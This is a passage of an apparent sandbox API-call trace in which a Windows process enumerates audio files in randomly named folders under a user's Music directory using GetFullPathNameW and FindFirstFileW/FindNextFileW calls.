HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\", lpFilePart=0x0) returned 0x33 [0080.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.408] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8646e00, ftCreationTime.dwHighDateTime=0x1d5df8f, ftLastAccessTime.dwLowDateTime=0x61a75e60, ftLastAccessTime.dwHighDateTime=0x1d5dd92, ftLastWriteTime.dwLowDateTime=0x61a75e60, ftLastWriteTime.dwHighDateTime=0x1d5dd92, nFileSizeHigh=0x0, nFileSizeLow=0x173c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="-JNnHpapMmXwknDs8Il.wav", cAlternateFileName="-JNNHP~1.WAV")) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc747fb0, ftCreationTime.dwHighDateTime=0x1d5d9bc, ftLastAccessTime.dwLowDateTime=0x48459ea0, ftLastAccessTime.dwHighDateTime=0x1d5e75b, ftLastWriteTime.dwLowDateTime=0x48459ea0, ftLastWriteTime.dwHighDateTime=0x1d5e75b, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="4AosjSdNAO.m4a", cAlternateFileName="4AOSJS~1.M4A")) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc984290, ftCreationTime.dwHighDateTime=0x1d5da7f, ftLastAccessTime.dwLowDateTime=0x39cd930, ftLastAccessTime.dwHighDateTime=0x1d5e03f, ftLastWriteTime.dwLowDateTime=0x39cd930, ftLastWriteTime.dwHighDateTime=0x1d5e03f, nFileSizeHigh=0x0, nFileSizeLow=0x13a6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="H15V.m4a", cAlternateFileName="")) returned 1 [0080.409] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5108b640, ftCreationTime.dwHighDateTime=0x1d5dc1f, ftLastAccessTime.dwLowDateTime=0x7201970, ftLastAccessTime.dwHighDateTime=0x1d5e7c7, ftLastWriteTime.dwLowDateTime=0x7201970, ftLastWriteTime.dwHighDateTime=0x1d5e7c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="il0_Fcd4W", cAlternateFileName="IL0_FC~1")) returned 1 [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e840) returned 1 [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0080.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\", lpFilePart=0x0) returned 0x3d [0080.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\*", lpFindFileData=0x1ca2e4e0 | out: lpFindFileData=0x1ca2e4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5108b640, ftCreationTime.dwHighDateTime=0x1d5dc1f, ftLastAccessTime.dwLowDateTime=0x7201970, ftLastAccessTime.dwHighDateTime=0x1d5e7c7, ftLastWriteTime.dwLowDateTime=0x7201970, ftLastWriteTime.dwHighDateTime=0x1d5e7c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a890 [0080.411] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5108b640, ftCreationTime.dwHighDateTime=0x1d5dc1f, ftLastAccessTime.dwLowDateTime=0x7201970, ftLastAccessTime.dwHighDateTime=0x1d5e7c7, ftLastWriteTime.dwLowDateTime=0x7201970, ftLastWriteTime.dwHighDateTime=0x1d5e7c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.411] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd208a770, ftCreationTime.dwHighDateTime=0x1d5d830, ftLastAccessTime.dwLowDateTime=0x9f5bb620, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x9f5bb620, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xe6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7eJLhqk9Lpf.wav", cAlternateFileName="7EJLHQ~1.WAV")) returned 1 [0080.411] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192dbed0, ftCreationTime.dwHighDateTime=0x1d5e27f, ftLastAccessTime.dwLowDateTime=0xa6fa90b0, ftLastAccessTime.dwHighDateTime=0x1d5e687, ftLastWriteTime.dwLowDateTime=0xa6fa90b0, ftLastWriteTime.dwHighDateTime=0x1d5e687, nFileSizeHigh=0x0, nFileSizeLow=0x57a, dwReserved0=0x0, dwReserved1=0x0, cFileName="8xXsBIbuR2O58pd2.m4a", cAlternateFileName="8XXSBI~1.M4A")) returned 1 [0080.411] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2913da20, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0xc0f41f80, ftLastAccessTime.dwHighDateTime=0x1d5dc01, ftLastWriteTime.dwLowDateTime=0xc0f41f80, ftLastWriteTime.dwHighDateTime=0x1d5dc01, nFileSizeHigh=0x0, nFileSizeLow=0xfd8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NjgA0Xa9YPqw6p.mp3", cAlternateFileName="NJGA0X~1.MP3")) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4597b90, ftCreationTime.dwHighDateTime=0x1d5de05, ftLastAccessTime.dwLowDateTime=0x1831fcd0, ftLastAccessTime.dwHighDateTime=0x1d5e347, ftLastWriteTime.dwLowDateTime=0x1831fcd0, ftLastWriteTime.dwHighDateTime=0x1d5e347, nFileSizeHigh=0x0, nFileSizeLow=0x16b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="rK3AckHzHJ-lEa.m4a", cAlternateFileName="RK3ACK~1.M4A")) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6cb7d0, ftCreationTime.dwHighDateTime=0x1d5de23, ftLastAccessTime.dwLowDateTime=0x83bc0dc0, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0x83bc0dc0, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x7f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="rQyPguihuCSD2V-bH5P.wav", cAlternateFileName="RQYPGU~1.WAV")) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6cb7d0, ftCreationTime.dwHighDateTime=0x1d5de23, ftLastAccessTime.dwLowDateTime=0x83bc0dc0, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0x83bc0dc0, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x7f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="rQyPguihuCSD2V-bH5P.wav", cAlternateFileName="RQYPGU~1.WAV")) returned 0 [0080.412] FindClose (in: hFindFile=0x1a62a890 | out: hFindFile=0x1a62a890) returned 1 [0080.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e820) returned 1 [0080.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e810) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e044b40, ftCreationTime.dwHighDateTime=0x1d5e3cc, ftLastAccessTime.dwLowDateTime=0xb0d1b380, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0xb0d1b380, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0xfe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="OgQmN6aSh.wav", cAlternateFileName="OGQMN6~1.WAV")) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84db60d0, ftCreationTime.dwHighDateTime=0x1d5e5a2, ftLastAccessTime.dwLowDateTime=0xb0cef980, ftLastAccessTime.dwHighDateTime=0x1d5e689, ftLastWriteTime.dwLowDateTime=0xb0cef980, ftLastWriteTime.dwHighDateTime=0x1d5e689, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="pYUcgycvEeFku7dswz.m4a", cAlternateFileName="PYUCGY~1.M4A")) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84db60d0, ftCreationTime.dwHighDateTime=0x1d5e5a2, ftLastAccessTime.dwLowDateTime=0xb0cef980, ftLastAccessTime.dwHighDateTime=0x1d5e689, ftLastWriteTime.dwLowDateTime=0xb0cef980, ftLastWriteTime.dwHighDateTime=0x1d5e689, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="pYUcgycvEeFku7dswz.m4a", cAlternateFileName="PYUCGY~1.M4A")) returned 0 [0080.413] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.414] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.414] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.414] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc564da40, ftCreationTime.dwHighDateTime=0x1d5dfea, ftLastAccessTime.dwLowDateTime=0x95d1cb80, ftLastAccessTime.dwHighDateTime=0x1d5e1a7, ftLastWriteTime.dwLowDateTime=0x95d1cb80, ftLastWriteTime.dwHighDateTime=0x1d5e1a7, nFileSizeHigh=0x0, nFileSizeLow=0x20b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="fD-jF-jKR iI5skE0dQ.wav", cAlternateFileName="FD-JF-~1.WAV")) returned 1 [0080.414] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa545fac0, ftCreationTime.dwHighDateTime=0x1d5dea3, ftLastAccessTime.dwLowDateTime=0xa6a9e9f0, ftLastAccessTime.dwHighDateTime=0x1d5d834, ftLastWriteTime.dwLowDateTime=0xa6a9e9f0, ftLastWriteTime.dwHighDateTime=0x1d5d834, nFileSizeHigh=0x0, nFileSizeLow=0xdc02, dwReserved0=0x0, dwReserved1=0x0, cFileName="fNp5e9XoCJQCq3S.m4a", cAlternateFileName="FNP5E9~1.M4A")) returned 1 [0080.414] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384026b0, ftCreationTime.dwHighDateTime=0x1d5d95a, ftLastAccessTime.dwLowDateTime=0xc2b6cf20, ftLastAccessTime.dwHighDateTime=0x1d5da35, ftLastWriteTime.dwLowDateTime=0xc2b6cf20, ftLastWriteTime.dwHighDateTime=0x1d5da35, nFileSizeHigh=0x0, nFileSizeLow=0x1ab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsnmdwPHiYa8I.m4a", cAlternateFileName="JSNMDW~1.M4A")) returned 1 [0080.415] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: 